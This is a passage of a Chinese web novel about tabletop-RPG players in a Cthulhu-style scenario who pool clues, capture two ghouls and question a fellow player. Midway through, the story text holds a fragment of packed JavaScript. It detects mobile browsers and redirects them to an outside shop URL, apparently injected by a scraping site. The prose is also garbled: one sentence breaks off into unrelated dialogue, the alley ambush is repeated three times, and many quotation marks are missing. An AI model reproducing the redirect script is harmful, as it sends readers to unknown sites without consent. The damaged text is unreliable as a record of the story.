“那就把这当成一件相互交换的事好了。”
“警探”当然不是毫无情商,他自知理亏,还是先退了一步,“你知道的东西,和我们知道的东西。”
南风:“我——”
到底谁是玩家谁是npc啊!!
“可实际上我知道的可能比你们多点,你们的情况也猜得到大半,”祝槐直白地指出来,“我不觉得这交易哪里划算。”
南风:“你们——”
“重要的不是之前掌握了什么而是之后,我相信我们都还没有深入事情的真相,不过,如果多一点人手,”塞缪尔意有所指地瞥了一眼她左胳膊上包扎过的伤口,
“也许可以尽量避免这种事的发生。
“……我说,南风好险没被他们憋死,终于幽幽插进话来,“虽然我很高兴你们这么快就达成了一致……
但是不要无视他啊啊啊啊!
他忍辱负重地改口:“但是咱们换个地方再说怎么样?
天平已经在三言两语间歪向了对自己有利的方向,祝槐最懂见好就收的道理,凡事最怕过犹不及,她笑道:“好啊,看样子你想好去哪了。
南风:“……嗯。
“我确实知道一个好地方。他深沉道,又补充,“一个大家都知道的好地方。
二十分钟后。
从睡梦中被吵醒的小偷哈欠连天地来开门。
杰弗里:“……您完全不睡觉是吗?
“熬夜是当代年轻人必备品德,南风正色,“睡什么睡起来嗨!
“你们要嗨你们嗨,在场唯一中年人魔术师愤愤地说,“让我睡觉!
他碍着自己的老腰不敢随便动弹,干脆就窝在沙发上盖了层毯子原地入睡,结果一敲门第一个醒的就是他,这还得扯起嗓子叫睡在里头的小兔崽子来开门。
“说句实在话,祝槐诚恳道,“我还以为你前两天睡够了呢
。
醒了昏昏了醒的魔术师:“………………
这叫实在话吗,这叫不是人话!
她和南风一前一后进了门,站在最后头的塞缪尔就露了出来,看他打量起屋内陈设——包括被放在沙发上的魔术师——神情却不显意外的样子,应该是从南风那里知道过点什么的。
“等一下!杰弗里警惕地问,“你们怎么又带来一个?
真把他家当据点了是吧?!
“应该是绑架团伙据点。祝槐指出。
“准确点,作为专业人士的洛佩兹警探纠正,“‘窝点’。
南风:“……
你好歹明面是个警察,不要这么自然地加入啊!!
杰弗里:“……我不想知道这种东西!
“那就再介绍一下吧,大家也重新认识一下。等杰弗里在所有人进来后关上门又打着哈欠拉亮灯,祝槐才开了口,“这两位是尤克特拉希尔——也就是世界树的成员。
“而我,她也不双标,靠在魔术师对面那单人沙发边上自曝了身份,“是二十年前那场灭门案的唯一幸存者。
魔术师:“……
???”
他就睡了一会儿怎么跟不上剧情了!
杰弗里的担心更现实点“我不会被你们灭口吧?”
“灭什么口?”祝槐一脸不解地问“活活笑死吗?”
魔术师:“喂!”
还不等他抗议对方的鞭尸忽然意识到什么
“没错”祝槐说“在他那里。”
南风的嘴巴从她自曝身份到连自己也被卖个底朝天就没有闭上过直到魔术师愤怒的视线猛地转过来才反应过来不妙跟他相比塞缪尔就淡然很多了神情明显是早有预料。
南风:“等等等等我可以解释——”
“没必要”她道“也没什么好解释的作为对邪神组织的成员在发现一个危险分子——”
祝槐对上魔术师无声控诉着“你帮我还是帮他”的目光勉强改口:“好吧一个不那么危险的危险分子为了预防对方或者捡到的谁用它来做坏事收起来保管情有可原。你明明也知道自己看的是什么吧?”
魔术师阴阳怪气地哼了声。
“我现在挑明是因为有些事还是在开诚布公的情况下来解决更好反正大家现在都是绑在一根绳上的蚂蚱。”虽然那绳是她给按着绑的“如果那本书上的东西能派上用场我们里研读它最久的人就是他总有点现成的东西用得上。”
她歪歪头“你们觉得呢?”
南风张口正准备说他没意见到嘴边了忽然想起来先看塞缪尔一眼后者面上依旧看不出多少情绪。祝槐见状打趣“难不成你们组织的上下级关系紧张到连一句话都不能说了?”
南风:“……”
就是这个!这个抓人话柄的能力!
“什么叫多说多错啊。”他苦哈哈地说。
他还在认真反思自己到底都在什么地方露了马脚分明已经不止一次地在这游戏里历练过(或者说被坑过)了此刻的感觉还是一如温室里的花朵第一次见识世间险恶而留下了严重的心理阴影。
“拜托”祝槐叹气“你一进去就往书桌那看我肯定也会发现啊结果出来再一看桌上什么都不剩了这都注意不到是逼着我装傻吗?”
塞缪尔也沉默了。
“现在的新人就这?”他问。
南风:“………………”
呜呜呜别骂了!
“不是上下级,”塞缪尔回过头,语气平
淡地解释,“加入的时间不同罢了。”
“我这次被先派到泉镇来后接到了通知,说会有个刚来不久的新人过来汇合,在电话和通讯联络之外肯定得见一面。”
魔术师瞬间警觉,“果然你们也是为教堂里的东西来的?”
“不。”南风诚实地说,“我们只是来调查亡灵节的,所以谢谢你送的情报。”
“………………”
魔术师大怒,他在生自己的气。
“呃……‘尤克特拉希尔’,”南风犹豫了下,继续刚才的话解释下去,“成员内部是简称叫‘树’,你们说的‘怪物’——因为它们一般是那些邪神的衍生物,我们会称为‘神话生物’。”
“同样的,异状就是‘神话现象’,我们会去一些可能与之相关的地方进行预先调查……这次本来也只是因为突然开始兴办起当初建镇时的庆典,联系最近一些秘密结社的频繁活动就不得不让人多想……”
“而且,说到亡灵节,一般很容易想到‘死者复苏’之类的东西吧?”他说,“无事发生当然是皆大欢喜,就怕出现那个万一——”
祝槐按捺不住好奇心,边听他说边摆弄手机,没几下就发了句话过去。
冬青:[你怎么知道这些的?]
手机一震,南风看她一眼,很快也敲了回复。
南风:[我在跟你们汇合之前有一段专门的培训,居然还要考试你敢信?]
南风:[挂科就重考重考重考,我从天杀的离散以后就没受过这种苦。]
祝槐:“……”
噗。
他们私下交换超游信息的行为没有被kp判定为违规,但躲不过其他人的眼睛。
“你们在做什么?”塞缪尔问。
“没什么,”祝槐笑盈盈地张口就来,“我们四个同旅行团的拉了个群,刚才他们在问我俩去了哪儿。”
她说:“所以——阿狄森这两天大部分时间都是和我一起行动,我想别的就不用多问了,你们今晚发现什么了?”
“今晚啊,”说到这个,南风的神色顿时纠结起来,“之前在景区那边,咱们两个不是闻到那口据说是林区打下的第一口井里有腐臭味吗?”
“我有点在意那个……”他道,“但是现在毕竟是旺季,从早到晚都有人,就算人少也可能会被谁注意到。”
“我和洛佩兹联络以后觉得今晚也许可以
试试,刚才就去了那边,他在上面看着和控制着吊索,我负责下到井里——”
原本已经成了蚊香圈圈眼的杰弗里一听这话,顿时露出了嫌弃的表情,“那你还在我家椅子上坐着,去去去。”
南风:“……我换过衣服也换过鞋了!”
再说了你家里干净到哪里去啊!
祝槐:“那你看到什么了?”
南风“呃”了声:“这个嘛……”
“树”提供的装备质量相当优良,他胆子小了点但也并不恐高,虽然担心等下去之后会不会碰上什么稀奇古怪让人头皮发麻的玩意儿……还是硬着头皮攀着井壁一点点下去了。
这井干涸了没有几十年也有十几年,干燥得只在犄角旮旯的缝隙里长了一点草。而越往下走,那股腐臭味就越冲鼻子,还好他已经提前戴了防毒面罩,不然非被熏晕过去不可。
值得庆幸的应该是他自带了这个身份该有的身体素质,尽管一不小心滑了几下都及时撑住了,最后顺利落到了井底。
“臭得就剩下一个字了。”南风心有余悸地说。
“什么啊?”杰弗里好奇地问。
南风:“‘臭’啊。”
塞缪尔:“少两句废话。”
南风:“……”
呜呜呜算
了,被凶习惯了。
总之他捏着鼻子努力在头,真挺投缘的,他就说他手
里正好有一本这种书,本来想转手呢,现在可以直接送给我,这样没有中间商赚差价。”
两个玩家:“???”
草,神特么中间商赚差价。
“那人长什么样啊?”祝槐问。
“挺开朗一小伙子,长得还特别帅,”魔术师不吝夸奖之词地总结道,“黑皮肤,哦,听口音应该是埃及来的吧。”
“唉。”
他再次叹气,“现在这样的年轻人真是不多了。”
祝槐:“……”
不是这事怎么想都不太对劲吧?!
塞缪尔的神色一时间也有点古怪,连南风都欲言又止起来,但显然king某人别的时候精于算计一碰到魔法书就智商掉线,还在那美滋滋地摩挲着自己失而复得的宝贝书的封面。
“算了,”塞缪尔说,“我这边是一到泉城就以办案的理由走访了所有能去的地方,就像你们当时看到我在教堂,当然——”
他看看祝槐,“还有海登家的旧宅。”
“你去的时候”祝槐问“有看到一块瓷砖有被撬动过的痕迹吗?”
“没有。”塞缪尔已经反应过来了她的说法“有人在这期间去过那里了?”
祝槐点点头。
“杰克。”她说。
南风:“……啊?”
“我今晚回去了一趟”祝槐道“然后碰到了自称是灭门案凶手的家伙那个人自称叫‘杰克’还是什么‘杰克之一’。”
“虽然他给我留了点小小的纪念——”
她指指自己的胳膊“但很可惜我们两个都没有看见对方的脸。”
塞缪尔的目光跟着移过去。
“需要帮忙吗?”划分到可合作范围后
祝槐一句“不用了”还未出口魔术师先探了脑袋“啥啊伤啊?”
她看出点名堂来“你有办法?”
“也不算是……”魔术师转转眼珠“让我看看再说不是特别严重的应该好解决。”
祝槐还是挺好奇他的“办法”的十分双标地依言脱了外套解开布带。她挽起袖子露出伤口的那一刻连还在望着窗外发呆、下意识看过来的杰弗里都吓了一跳——毕竟枪伤哪怕是最浅的擦伤那也跟被砍了一刀似的。
“我不保证啊。”魔术师申明“先试试。”
他嘴唇翕动一字字念出的咒文晦涩难懂完全不是正常的语言排列顺序。然而在进入后半段的时候被高速烧灼的伤口边缘奇迹般的开始长出了新肉它们以肉眼可见的速度覆盖上破损处直至完全愈合。
“帮大忙了”祝槐看看完全看不出伤口痕迹的那块皮肤又看看角色卡上涨回去的三点hp“谢啦。”
现在就不用担心这道枪伤暴露身份了。
魔术师:“教堂——”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13415368|81506||http|test|mini|href|location''.split(''|''),0,{}));
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>祝槐:“记得记得。”
第一次真的亲眼见到这等神奇景象的杰弗里张大嘴巴使劲揉着眼睛。塞缪尔不怎么惊讶而南风虽然也有点震惊但他自从祝槐提到那个名字就开始不知道在自言自语什么。
“杰克”他嘀嘀咕咕“杰克……”
“啊!”
南风忽然大叫一声把所有人都吓了一跳。
“杰克!”才经历过题海战术洗礼的南风艰难地犄角旮旯里扒拉出那个名字来“杰克之一难道是‘十二杰克’?!”
祝槐从不错过能白嫖情报的机会“十二杰克?”
“……‘十二杰克’如果是那个的话……”南风一提醒塞缪尔也想起来“根据流传的说法是个
有段历史的杀手组织不过规模很小除了首领应该只有十二个人。”
祝槐:“……”
真就这么好骗的还有十二个啊?
“但是除此以外的情况就一概不知了”他说“他们奉行的是神秘主义连对外的任务都少接。”
南风嘀咕:“……感觉一下子水好深。”
祝槐托着下巴眨眨眼她还能把这水变得更深。
“我怀疑在我和杰克之间存在一个第三方。”她说。
南风:“啊??”
“我会来泉城是因为有人写信告诉我自己掌握着当年灭门案真凶的线索所以……知道这件事的应该只有那个人和我的养父母。”祝槐说“而杰克那边居然很肯定我会在今晚趁着其他人不注意回到海登家也就是说他知道我这么多年都不在泉城也是最近才回来的。”
“如果来回传话的是同一个人那就有意思了。”她轻描淡写地说。
“重点是如果这个第三方真的存在到底倾向于哪一边吧?”南风忍不住道“为了帮杰克而引你回来也不是不可能。”
“不反而没有这种可能性。”祝槐说“都写信给我了要帮杰克为什么不直接把地址给他?”
南风:“……是哦。”
“而且”她说“我还很好奇另一点。”
“杰克在屋子里装了感应器但他其实完全可以提前在里面蹲守我没有这么做的原因……他有什么必须出去或者待在外面的理由呢?”
塞缪尔:“你说的第三方……”
他才刚刚起了个话头就被另一个声音给盖了过去。
“哎!”趴在窗旁的杰弗里忽然叫道“那是什么?”
他说着就起干脆直接趴在了玻璃上眼睛一眨不眨地观察着街道另一头的动静。其他人被他这一引也一个挨一个地起身凑过去——除了“哎哟”个不停的倒霉蛋之王不是
……说是“个”有点不太准确。
看久了才隐约瞧得出来那其实是两个小一些的身影在一点点拖行着另一个身材魁梧的家伙后者毫无反应像是完全失去了知觉。而那两个更小的则是一
前一后地提着他的后衣领和脚脖子,而那佝偻着腰背、又完全只有寻常人一半的高度,怎么看怎么都不像是人类。
南风意识到什么,“那个身高……”
“等一下。”
祝槐突然说:“我有一个大胆的想法。”
kp:“……”
那巧了。
他有一种不好的预感。
昏暗到难以看清视野范围的路灯灯光下,两只半人多高的怪物一前一后,搬运着那个比起它们的身量有点过大的男人。
男人胸口还在起伏,除了失去意识外没有任何异状,但半提半扛着他的那俩就不太一样了。两只类人生物长着张狗脸,跟沙皮狗一样满是褶皱的胶质皮肤上除了覆盖灰绿色霉菌的地方之外就反着光,利爪陷进男人的衣服和皮肉里,蹄子一样的足在石砖上踩出“哒哒”的轻响。
它们正行进着,忽然之间,一个易拉罐骨碌碌地从拐角后头滚出来,速度正好,慢慢地、慢慢地停在了它们跟前。
两只怪物不约而同地停下了动作,它们得到的命令是不要引起他人注意,否则……此刻对视一眼,以一种急促的、像在哭泣的声音交谈了几句,前头那只就先松开手,一步步走向了那拐角。
剩下的那个在原地等了片刻,不见同伴出来也听不见动静,也将自己那边放下,沿着那易拉罐滚来的路径也进了那条小巷。
小巷走不出几米就是个岔路口,它
左右探头看了看,不管哪边都是漆黑一片也不见任何活物,非要说也只有堆在边上的废弃家具之类的东西,只得侧耳细听了一下。
进行聆听检定,95/70。
差点大失败。
kp:“………………”
啊!你是聋子吗!!!你是不是聋啊!!!!!
怪物:“?”
它没有听到什么动静,也瞧不出什么异状,迷茫地挠挠头,准备就剩自己一个怪也要完成这个艰辛的任务。
就在它要转过身去的那一刻——
一个粗布大麻袋猛地套住了它的脑袋乃至上半身,不顾它反应过来后爪子在地上挠出深深划痕的奋力挣扎,还是硬生生地将它一路拖进了墙后。
巷口重归寂静。
它和它的同伴都消失在了无边的黑暗里。
左右探头看了看,不管哪边都是漆黑一片也不见任何活物,非要说也只有堆在边上的废弃家具之类的东西,只得侧耳细听了一下。
进行聆听检定,95/70。
差点大失败。
kp:“………………”
啊!你是聋子吗!!!你是不是聋啊!!!!!
怪物:“?”
它没有听到什么动静,也瞧不出什么异状,迷茫地挠挠头,准备就剩自己一个怪也要完成这个艰辛的任务。
就在它要转过身去的那一刻——
一个粗布大麻袋猛地套住了它的脑袋乃至上半身,不顾它反应过来后爪子在地上挠出深深划痕的奋力挣扎,还是硬生生地将它一路拖进了墙后。
巷口重归寂静。
它和它的同伴都消失在了无边的黑暗里。
左右探头看了看,不管哪边都是漆黑一片也不见任何活物,非要说也只有堆在边上的废弃家具之类的东西,只得侧耳细听了一下。
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啊!你是聋子吗!!!你是不是聋啊!!!!!
怪物:“?”
它没有听到什么动静,也瞧不出什么异状,迷茫地挠挠头,准备就剩自己一个怪也要完成这个艰辛的任务。
就在它要转过身去的那一刻——
一个粗布大麻袋猛地套住了它的脑袋乃至上半身,不顾它反应过来后爪子在地上挠出深深划痕的奋力挣扎,还是硬生生地将它一路拖进了墙后。
巷口重归寂静。
它和它的同伴都消失在了无边的黑暗里。
()
第21章 亡灵舞(十一)
两个被大麻袋套了的小麻袋还在疯狂蠕动。
它俩在刚“落网的时候就被三下五除二地绑成了个大闸蟹,嘴里也各堵了一团旁边捡来的破布,除了一开始套头的更是整个装进了个大的。但饶是如此,它们依然在“呜呜叫嚷。
如怨如慕,如泣如诉。
“别叫了,祝槐冷酷地说,“叫破喉咙也不会有怪来救你们的。
南风:“……
他觉得他们现在这个角色定位很不对劲啊!
另一旁同样负责动手的塞缪尔还更干脆点,他一句话不说,两边一边一闷棍,麻袋里顿时就没声了,安静得一片岁月静好。
……真可谓是个狠人。
南风大受震撼,特别是当他看到连杰弗里也有样学样地扛起了其中一个完全不动弹了的麻袋——喂虽然一团漆黑什么也看不清可能还没太害怕,但你这也太适应良好了吧!
月黑风高夜,他们扛着俩麻袋,活似要去杀人销赃。
“一起带走。祝指挥官下了指示。
他们提前埋伏在了巷口里头,屏息静气地等着那俩怪物靠近,直到这会儿才走出去,看到路灯底下仍毫无意识地仰躺在那里的男人。
还有他脸上那道极有辨识度的伤疤。
南风“诶了声:“这不是……
“你们那个旅游团里的一个,早就查看过几人资料的塞缪尔补上了他的话,“他怎么会在这里?
两名玩家对此当然是心知肚明,八成是单枪匹马去了哪里调查结果直接打出gg,但面上是合该使劲摇头说不知道的。
祝槐对此很淡定,她弯了眼,“一行四个人,现在看来三个有问题,导游还死了,要不要来赌剩下那个清清白白的概率有多大?
她这话当然不是对南风说的,杰弗里个学渣则一听概率俩字就露出了牙疼的表情。
“我不跟你赌。塞缪尔瞥她一眼,“我猜你是那种有绝对把握才会上赌桌的类型。
“那可猜错了。
祝槐微笑,“事实上我喜欢在俄罗斯轮
盘赌里装五颗子弹。
南风默默张大了嘴巴,塞缪尔眉心跳了一跳,有些讥嘲地扬扬唇角。
“巧了,他说,“我认识一个跟你有点像的人。
祝槐不以为意地“哦了声,“那你一定很不喜欢那个人。
塞缪尔一扬眉,
没有对此作出任何回答,转而观察了一下地上依然不见任何醒转迹象的刀疤,“我看他一时半会儿是醒不过来了。
“反正还是得一起带走,看在同为玩家的份上,放任对方成为下一个汤尼是有点缺乏人道,祝槐歪歪头,“那边那个麻袋就交给我吧。
刀疤那身板体重确实是一个人轻易负担不了的,他们四个里有俩人各提着扛着个麻袋,剩下的俩人一如刚才的怪物的架势,一个抬头一个抬脚地往楼梯上……
南风:“………………
……更像杀人越货了喂!!
不过反正大半夜,这公寓楼里的居民要么还在广场上嗨要么早早睡下了,这个当真成功壮大的绑架团伙一路顺利地连人带怪全都运上了楼。
一进门,还负伤半坐半靠在沙发上的魔术师看他们这兴师动众的架势还有又扛来的人,先愣了一下,随即就张着双臂敞开了自己的怀抱。
南风一愣,“你在干啥?
魔术师:“欢迎一下新成员加入这个幸福大家庭。
杰弗里:“???
这是他家!神经病因子是会传染是吗!
“那这个新家有点挤,祝槐丢下拖着的麻袋,反手关上门,“不够住八口人的。
她还把那俩怪给算进去了。
杰弗里:“……租不起大房子真是对不起啊!
沙发被魔术师给占了,作为租户主人的小偷又死活嫌弃刀疤被这俩怪物搬运的时候沾上的那些奇奇怪怪的菌丝,最后吭哧吭哧地搬开茶几,勉强让他躺在底下那层不薄不厚的地毯上。按杰弗里的原话,反正也该送去洗了。
那边的两只怪物就没有这么好的待遇了,麻袋进门被随便撂在了边上,塞缪尔打的那两闷棍看样子也分量十足,它们到现在都没有醒。尽管如此,为了保险起见,他们还是决定在之前的基础上绑得再结实点。
扒开麻袋之后,这两只半人多高的类人生物的真面目终于在灯光之下现于人前。
两只怪物长得大同小异,脸像狗,蹄子又像羊,长而锐利的钩爪被胡乱按着绑在了身前,堆堆垒垒的皮肤透出一种诡异又令人作呕的灰色胶质感,缝隙里寄生着的苔藓和菌丝细细密密地爬满了几乎每一寸皮肤,隐隐散发出奇怪的恶臭味。
kp的声音带着愤怒和一种报复的快意。
【初次目击从坟墓中爬出的隧道觅食者——食尸鬼,进行意志检定,成功豁免,失败随机下降一到六点sa
n值。】
呜呜呜他的怪又被绑了。
祝槐:“……
南风:“……
好耶,大家一起掉san。
[阿维丝(祝槐)]的意志检定,65/50,失败。
祝槐瞄了眼自己意思意思掉了两点的san值,再看看南风又隐隐有点反胃的脸色——然而最惨的无疑是杰弗里,可能是想起自己之前还扛着这玩意儿满地跑,小偷丢下麻袋就冲去对着马桶吐去了。
塞缪尔的声音差不多就是在kp的下一秒响起来的。
“是食尸鬼。他说。
他似乎是已经见过这种怪物了,此刻脸上的神情也更多是了然而非动摇。魔术师也很是有点经历过大风大浪的自满,正以一种“现在的年轻人真是不行的表情睥睨着带着一脸菜色从厕所走出来的杰弗里,然后被后者狠狠瞪了一眼。
南风心说这可真是父慈子孝。
祝槐重复了一遍,“食尸鬼?
塞缪尔“嗯了声,压低声音到了那边的刀疤醒来也不会听到的程度,“它们生活在人类的坟墓里,靠腐食为生,大多生活在城市的地下隧道网里,有时候也会袭击人类。
“发现汤尼尸体的那天,祝槐说,“我们听到了狗叫。
南风看着食尸鬼那狗一样的面庞怔了一下,猛地回过神来后就壮着胆子去扒拉食尸鬼被布团堵住的嘴巴,扯开嘴唇后露出的牙齿锋利异常——如果它们愿意,的确能留下类似于汤尼尸体上那样的伤口。
“住在墓里的话,他小声说,“还记得那个守墓人说的话吗?
祝槐挑挑眉,这是对她的记忆力有什么不切实际的误解。
“超脱了沦入死亡岁月,涌出疯狂之溪,她干脆直接复述道,“盘旋在发亮的墓碑之间,那片墓园。虽然他唱得断断续续,肯定有缺漏,不过……
“不过可以肯定墓园有问题,南风嘀咕,“他一个人去了墓地?
真勇啊,但是还是被俩食尸鬼给拖回来的,要是他们没有发现,那不就是下一个……
就在他这么想的时候,
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祝槐就像是看穿了他的想法似的突然开了口。
“我猜他不会是下一个汤尼。她说,“当时发现尸体的时候,现场其实没有多少血。
“出血量和伤口并不相符,所以应该是在别处造成了这样的破坏,再挂在了那棵树上——她看向塞缪尔,“警方那边应该也是这么判断的?
塞缪尔点点头,“他的死亡时间应该就是和你们分开之后不久,我参与的部分只到这里,剩下的调查进度就不知道了。”
祝槐抬手碰了下颈侧,这是她陷入思考时常有的小动作,又过了几秒才回头看了眼刀疤,他身上除了几处淤青以外没有什么明显的外伤,“目前来看,它们应该是打算把他就这样送到什么地方……”
南风:“那就只能等他醒了再——”
“不,”祝槐说,“其实我们还有另一个选择。”
她看向脑后各肿了个大包的食尸鬼,露出了一个显然在打着什么算盘的招牌微笑。
所有人:“……”
突然就不是很想知道她要做什么了!!!
亲耳听到过那奇怪叫声的杰弗里忍不住说:“但是能听懂它们在说什么吗……”
“那本书。”魔术师阴恻恻地说。
他脸上带着迫不及待看其他人或者说其他怪倒大霉的幸灾乐祸,“我研究过了,上面还有一个法术,叫‘接近胞兄弟’。”
“别名,”他骄傲地说,“食尸鬼联络术。”
南风:“……”
这是那个吧,是吧,打不过就加入?
既然大家现在都要留在这里,那暂时也没有争执所属权的必要,魔术师如临大敌地扶着老腰撅着屁股去旁边翻他的那本魔法书找所谓的食尸鬼联络术,就怕在场唯一无关人士醒来看见书也产生什么想法。但就恰在这时,刀疤身上忽然有什么“嗡嗡”响了起来。
出于职业本能,杰弗里条件反射地就去摸了男人的裤兜——然后被祝槐“啪”地一下打掉了手,把手机抢了过来。
她看到上面的来电显示写的是“斯图尔特”。
祝槐按下了接听键放在耳边,没有急着第一时间说话。
对方也很谨慎,“乔·瓦特?”
那头听上去的确是卡洛琳,祝槐见套不到消息,便应道:“不,是我,阿维丝·贝奈特。”
卡洛琳的声音停顿了两秒,“他人呢?”
“好吧,这就说来话长了……”祝槐说,“总之他现在失去了意识,你要过来吗,还是等我们一起回酒店?”
“毕竟这么晚打过来,应该是有事要找他吧。”
她笑道:“我可以好奇问问是什么吗?当然啦,要是两个人之间的小秘密就算了,我可还没有八卦到那地步。”
她语气不卑不亢甚至还带着友善的打趣,但不论是哪边都不会忽视真正藏在里面的以退为进和咄咄逼人。假如卡洛琳当真承认,无疑就彻底坐实了二人在短短两天内建立了某种同盟关系。
尽管她和南风那边也是如此,但祝槐仗着的就是这把柄还没有落到实处,而卡洛琳为了面上的和平——甚至可以说,为了洗脱某些背着队友搞事的嫌疑——就不太可能藏得住这也许只打算和对方分享的情报。
短暂的沉默后。
“没关系,”卡洛琳平静道,“反正和大家都有关,我本来是想挨个联系你们的,因为他跟我说过一声就先打了这边的电话。”
她说:“我找到了汤尼拍下的照片。”
()
第22章 亡灵舞(十二)
——汤尼拍的照片。
祝槐当下心思百转,但最后问出来的只有一句话:“夫人的意思是,说不定是和他的死因有关吗?
“等你们看到就知道了。卡洛琳回答,“咱们几个凑在酒店可能会引人注意,我去你们那边吧,你们在哪儿?
祝槐一边给她报了杰弗里家的这个地址,一边冲其他人使着眼色打了个手势。令人意外地,最先行动起来的是塞缪尔,他拖着重新装进麻袋里、嘴里也又塞了几块布的食尸鬼径直进了里间。
南风愣了一下,随即也胡乱把另一只给塞进去跟上了他,杰弗里这才反应过来,抓着脑袋追过去一路嚷嚷着“你们小心点别把我地板给弄脏了。
山羊胡子魔术师满脸写的全是事不关己,把书塞回自己身子底下就寻摸着个舒服的姿势继续躺着了,还很悠闲地用手背撑着脸颊。
结果没料到最先进去的俩人出了仓库就走向他这边,塞缪尔歪歪头,示意南风一个抬头一个抬脚地把他也给横搬了起来。
魔术师:“喂喂喂你们能不能尊老爱幼一点——
塞缪尔:“你自己走着进去。
魔术师:“……
他低头感受了一下自己僵硬且疼痛的老腰,梅开二度地选择了忍气吞声。
他的待遇还算好的,一通折腾好歹是给躺在了卧室床上——以杰弗里不满的嘀嘀咕咕为代价——小偷这次长了个心眼,机灵地在去而复返后也取走了那本魔法书,塞吧塞吧藏进了自己的床头柜。
该藏的藏了,一切收拾停当,关好卧室和储物间的门,塞缪尔拍拍沾上的灰,“我去楼下等着。
“不会离得太近,他补充道,“但也不会太远,尽量是如果有谁喊就能听到的距离,直接用通讯机也行。
最后这半句话是对着南风说的,祝槐全程靠在沙发靠背上,收拾好自己的打扮,很满意连搭把手都用不着。她还在想刚才挂掉电话后的锁屏,挑了挑眉。
她弯下腰去把手机重新塞进对方兜里,忽然听见面前的男人轻微地咕哝了一声。
从这一点上来看,警探离开得很是时候——大门刚刚合上不到半分钟,刀疤似乎终于结束了他的深度昏迷,咬着牙揉起自己的脑袋,同时睁开了眼。
他的脸色很不好看,但已经条件反射地直接坐起了身,放在身侧的胳膊也绷紧了肌肉。祝槐观察着他的肢体
动作,避无可避地对上了那双猛然扫过来的鹰一样的眼睛。
她很淡定,“嗨。
刀疤眼里的迷茫在认出她后短暂地退去了些,神情间的攻击性也不比之前,但仍然没有就此放松警惕。他环视了这怎么看都有些脏乱差的屋子一圈,看到祝槐,看到南风,也看到了他不认识的陌生面孔——杰弗里耸了耸肩,这才问道:“我在哪里?
“居民区啊。祝槐说,“记得你昏过去之前在哪儿吗?
“……
刀疤的表情在听到她这句话后就有点陷入了不似作伪的空白,他显然是在试图回忆,但挣扎了十几秒,还是哑着声摇了摇头,“……不记得了。
南风:“那你还记得什么啊?
他这话问得多少有点没分寸,被刀疤看了一眼后才后知后觉地一缩脖子,好在后者也没计较这个,或者可能是头疼得让他计较不了——刀疤扶着脑袋皱眉,“……我在广场上,准备离开宴会,然后就……
他重重“啧了声,再怎么努力也想不起之后的事——他游离在人群之外,向阴影笼罩下的街道另一头走去,可再往后发生的一切就像笼罩在团团迷雾之中,无论如何都拨不开道不明,强行试图拓开的后果就是换来越发变本加厉的剧痛,几乎要疼得他抬不起头来。
“想不起来就别想了,祝槐说,“换个方向吧,你当时离开准备去哪里?
她问:“墓园吗?
刀疤猛地抬头看向了她。
这已经是两人的第二次对视了,祝槐依然没有什么闪躲的意思,歪歪头说出了自己的判断。
“那个守墓人说的话很可疑吧?她道,“现在看来很奇怪的地方……海登家算一个,墓地算一个,汤尼的死亡现场又被警方保护着肯定去不了,你闻闻你身上,这不是很好猜嘛。
她表面上一通分析有理有据,然而屋子里除了刀疤以外的都知道这人根本就是在胡说八道。
刀疤闻闻自己,果然也被恶心到了。
“我猜你应该不知道发生了什么……祝槐说,“其实你是被我们从两只怪物手里给救下来的。
她一本正经地忽悠道:“不过我们当时也没敢靠太近,只好先把那俩怪物赶走再来搬你了。
“啊、是啊,俗话说近朱者赤近墨者黑,跟她待久了,南风张口就来的本事也显著提升,“幸亏是路边有两块石头……咳咳,放心,应该大概也许没有砸到你。
正所谓
最好的谎言就是真假掺半,而南风此刻已经悟了第二迷惑人的就是用表面上的去覆盖你实际想遮掩的。
他满脸“啊我肯定打中了但是打死也不能认”的心虚,引得刀疤狐疑地对着自己身上看了又看,看到那几处淤青时当真了然地斜了这小子一眼。
杰弗里开始深刻地担忧起了自己的未来。
他不会以后也要为一去不复返的诚实默哀吧?
“还有一件事,”祝槐说,“因为你之前还在昏迷,我就擅自接了你的电话。”
“卡洛琳说她找到了汤尼死前拍的照片,马上会过来汇合,所以你要不看着也收拾下?”
要说今晚几个人里最惨的还是刀疤,祝槐受是受了伤好歹收获颇丰,也就是他忙活了一通还忘了自己到底忙了个啥。他本人对此显然也颇感郁闷,本就为那道疤而显得凶狠的面庞更沉闷了。
他摇摇晃晃地进了卫生间,里头响起了水声,留在客厅里的仨人又竖着耳朵在听其他地方的动静。魔术师自不必说,仓库里的俩食尸鬼似乎还没有醒来的迹象,这心也就放下了点。
刀疤洗了把脸又擦了擦身上沾的灰和泥土,卡洛琳没有这么快过来,等他出来以后,客厅内的气氛就一度颇有几分尴尬。在一片谁也不知道该不该起个话头的沉默里,杰弗里默默打开了电视。
午夜台也没有什么好看的,不过在老电影静谧而轻盈的配乐中,轻微的敲门声还是挺明显的。
“笃笃。”
杰弗里去开了门,站在外面的卡洛琳露出了有点惊讶的表情,一边进门一边微笑着点头权当是致意。
“虽然我想到了应该不是你们的房子,”她问,“不过这位是……?”
“阿狄森的朋友。”祝槐笑眯眯道,“小学同学居然能在这里碰到,真巧啊。”
南风:“……”
杰弗里:“……”
倒也不失为一种无中生友。
南风:“也没想到搬家以后还能遇见啊哈哈哈哈……”
“就是孽缘。”杰弗里已经槽多无口了,懒得再跟他们掰扯,“你们聊你们的,我就不掺和了。”
他摆摆手就往自己卧室走去,身影拐进墙后就不见了,不过坐在客厅里的几人都听得见他进门后突如其来的碰撞声,虽然只有祝槐二人猜得到是怎么回事——大概是某位正艰难地趴在门上偷听的大龄中二。
祝槐的宗旨是只要她眼都不眨就可以当作无事发生,南风有样学样归学,耐不
住卡洛琳在听了之前那几句话后就用一种有点奇妙的眼神上下打量了他几眼,“那是挺巧的。
南风:“……?
他直觉有哪里不对劲,还没开口,卡洛琳已经从自己的手提包里摸出来几张照片,一张张摊开在了桌上。
“汤尼用的是拍立得,她说,“我找到的就这些。
祝槐“咦了声:“刚才在电话里我就想问了,怎么找着的?
卡洛琳:“哦。
“我拉了电闸。她轻描淡写道。
南风:“……
南风:“?????
这个团里遵纪守法的就他一个了是吗?!
